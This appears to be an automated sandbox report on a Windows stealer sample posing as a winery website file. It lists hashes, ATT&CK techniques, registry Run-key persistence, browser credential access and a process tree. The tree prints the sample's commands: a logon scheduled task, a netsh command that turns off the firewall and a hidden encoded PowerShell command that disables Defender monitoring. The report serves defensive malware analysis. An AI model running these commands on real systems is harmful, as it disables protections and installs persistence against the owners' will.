8f3a81ec9a561e315c422389c02aff3b3e367e30777e88f34f6f0ff2ad8573a0

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
www.almendrawinery.com.exe
Size 25KB
Sample260429-e2977scs9n
SHA256 8f3a81ec9a561e315c422389c02aff3b3e367e30777e88f34f6f0ff2ad8573a0
MD5 74293e38183e04816ba0359c31b3c4d2
SHA1 63f22484792cbd334b45d48a1b3f57b3904dd78b
SHA512 561173a7c0d77485a003094f8714053c0577b0de6430a314a5a67ae01656482d69dca6f66e8e5180b72ec81b521c574b4199238e546fcd6d5513070608dd0595
SSDEEP 384:qWOVpa9Nd3SATyABCVp/iJ2B+7TAJA+lap0hVudkh0j:DOidC0yAYvKTAGOhgO0j
TLSH
T12EB2D7487BFEC155E8FD1BBE487283045774A8479903EB4E0BD5098E2F67B848A947A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5528	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5140	netsh.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	www.almendrawinery.com.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	www.almendrawinery.com.exe

Executes dropped EXE 1 IoCs

pid	Process
1968	www.almendrawinery.com.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.almendrawinery.com.exe"	www.almendrawinery.com.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.almendrawinery.com.exe"	www.almendrawinery.com.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.almendrawinery.com.exe"	www.almendrawinery.com.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.almendrawinery.com.exe"	www.almendrawinery.com.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.almendrawinery.com.exe"	www.almendrawinery.com.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4484	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 11 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage	www.almendrawinery.com.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "106"	www.almendrawinery.com.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\login.live.com\ = "106"	www.almendrawinery.com.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\live.com\Total = "106"	www.almendrawinery.com.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0"	www.almendrawinery.com.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\login.live.com\ = "0"	www.almendrawinery.com.exe
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\live.com	www.almendrawinery.com.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\live.com\NumberOfSubdomains = "1"	www.almendrawinery.com.exe
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	www.almendrawinery.com.exe
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\login.live.com	www.almendrawinery.com.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Internet Explorer\DOMStorage\live.com\Total = "0"	www.almendrawinery.com.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134219104616539797"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4604	chrome.exe
4604	chrome.exe
5528	powershell.exe
5528	powershell.exe
5528	powershell.exe
4604	chrome.exe
4604	chrome.exe
2336	chrome.exe
2336	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeDebugPrivilege	5332	www.almendrawinery.com.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe
Token: SeShutdownPrivilege	4604	chrome.exe
Token: SeCreatePagefilePrivilege	4604	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe
4604	chrome.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
5332	www.almendrawinery.com.exe
5332	www.almendrawinery.com.exe
5332	www.almendrawinery.com.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 5332 wrote to memory of 4604	5332	www.almendrawinery.com.exe	79
PID 4604 wrote to memory of 1796	4604	chrome.exe	80
PID 4604 wrote to memory of 4168	4604	chrome.exe	81
PID 4604 wrote to memory of 4168	4604	chrome.exe	81
PID 4604 wrote to memory of 4484	4604	chrome.exe	82
PID 4604 wrote to memory of 4244	4604	chrome.exe	84
PID 4604 wrote to memory of 4244	4604	chrome.exe	84
PID 4604 wrote to memory of 3148	4604	chrome.exe	85
PID 4604 wrote to memory of 2888	4604	chrome.exe	86
PID 4604 wrote to memory of 3148	4604	chrome.exe	85
PID 4604 wrote to memory of 2888	4604	chrome.exe	86
PID 4604 wrote to memory of 3012	4604	chrome.exe	87
PID 4604 wrote to memory of 3012	4604	chrome.exe	87
PID 4604 wrote to memory of 5592	4604	chrome.exe	89
PID 4604 wrote to memory of 5592	4604	chrome.exe	89
PID 5332 wrote to memory of 4544	5332	www.almendrawinery.com.exe	90
PID 5332 wrote to memory of 5140	5332	www.almendrawinery.com.exe	92
PID 5332 wrote to memory of 5528	5332	www.almendrawinery.com.exe	94
PID 4604 wrote to memory of 1536	4604	chrome.exe	98
PID 4604 wrote to memory of 5772	4604	chrome.exe	100
PID 4604 wrote to memory of 3812	4604	chrome.exe	101
PID 4604 wrote to memory of 4332	4604	chrome.exe	102
PID 4604 wrote to memory of 2336	4604	chrome.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\www.almendrawinery.com.exe
"C:\Users\Admin\AppData\Local\Temp\www.almendrawinery.com.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5332
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://www.almendrawinery.com
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff82830c728,0x7ff82830c734,0x7ff82830c740
    3⤵
    PID:1796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,1909035348346432341,12900499508501736171,262144 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1972 /prefetch:2
    3⤵
    PID:4168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,14096451935042722809,9085664210847943051,524288 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2244 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,14479391305934839911,9622849982335751455,524288 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2344 /prefetch:13
    3⤵
    PID:4244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3068,i,4548471700165820716,17974620219991480895,2097152 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:3148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3060,i,11920583078900507588,5135788900476804349,2097152 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:2888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4168,i,11866167114310241651,6202304343236240815,2097152 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4192 /prefetch:9
    3⤵
    PID:3012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4596,i,12952443135478181435,1566200855500033504,2097152 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4612 /prefetch:1
    3⤵
    PID:5592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5624,i,7080221414860658270,12957104132872934371,524288 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5628 /prefetch:14
    3⤵
    PID:1536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5632,i,17031240346769124230,13928614974651966004,524288 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5636 /prefetch:14
    3⤵
    PID:5772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5648,i,4220071605050106271,896449087496399469,524288 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4812 /prefetch:14
    3⤵
    PID:3812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,10321069321547005454,4510215224687398421,524288 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4800 /prefetch:14
    3⤵
    PID:4332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5344,i,16874486324876969054,5331625985473394716,262144 --field-trial-handle=1976,i,6910109326723710013,13930043850933297503,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5532 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2336
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "NanoCoreUltimate" /tr "C:\Users\Admin\AppData\Local\Temp\www.almendrawinery.com.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4544
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5528

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3544

C:\Users\Admin\AppData\Local\Temp\www.almendrawinery.com.exe
C:\Users\Admin\AppData\Local\Temp\www.almendrawinery.com.exe
1⤵
- Executes dropped EXE
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 5cdc7ea8a36e6905a5a219f40f14bf0130830cec5f92c14957168c926259f566
MD5 28f39bd2588668d9244bedc315131fe5
SHA1 047b7b302141baa319a6c26c3d2265e1b8e3a5b4
SHA512 c1e5c826f77106b79b1184f4b4a61a0c1a96d5470d9fb8bc703c7895cb243fd02b5a70695a33c908b7285e6e5c0fe6712eeb5855743ffd719113e8f81e1fafc8
TLSH
T16DE0E5AAC820D83718FE171960944705EB5113172B81890B7A3DA3188FB063B0586C1C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 384B
SHA256 2bba9252767f2eda20d3241e1151f6ecd9956cf0ebfeb59e55d1938e01cb4947
MD5 a10bd03a048c1b52ab791bd93f2b0af4
SHA1 c1e28fb443d66588923af47d2b871777abddb213
SHA512 9858a2bdf18f8cb5431676b17e2a743d407a97f172ccb756ea2e1e6abe70522f4299f61579b3ed3cf384b5c6583ff5aa9db0b2c461c94ef73c999b5976befdf6
TLSH
T1FDE0C20898E1130ACB9389BA3AA5088B30640A58700E23CF818333A2F03FF9FD079602
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 c65a07452bdf6add214475e848f668283c666b1ee984f188a11ef2e53db0c90f
MD5 c16d2b3e8970071b1a3ff7121308b6e5
SHA1 b9d71699c89946c2edfba7510a1c9476867b9dcf
SHA512 361410a78b954cbcf31d554960ff7f0d9454cabd37c28d7a1e40973585b3a7d56391eb47eedb1b6cc9892e5a3db89912b8515a4bab75c70f7d6fb6636a5447bc
TLSH
T1B6518EB3C7E8997E890156E4AA153F2ACD690958532C3C5AC8D4AF1F53E28B6D24054F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 e946ccd651cc4000e20680e2d5e9a394760ae929658cd75e07942daa63144066
MD5 391fd650a2650d518657f684061016cf
SHA1 802e7a9ddc295828982837271d981ad90eef8371
SHA512 850bd0fd4de0a7436a6a55c55ec849b3e524474924f4b551b66282eeaa155d2b5b1fe8cb0480fca00ab71dabd16394a8dc529c40d5c0b4ac12994b23777c81cb
SSDEEP 192:DNySNTzvAOaIaEgdZEmN4NBNdNyNyNv5NWNeNz5N/N+NFXiN1HN5NjNIJz:D8ShzvAOaIaEgdZEmyLT4Mx5UAJ5BAfN
TLSH
T182D188F783F88A7E890251F1BA296E2ECF590514436C3C9AC9E89F1F97F1871E14094E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
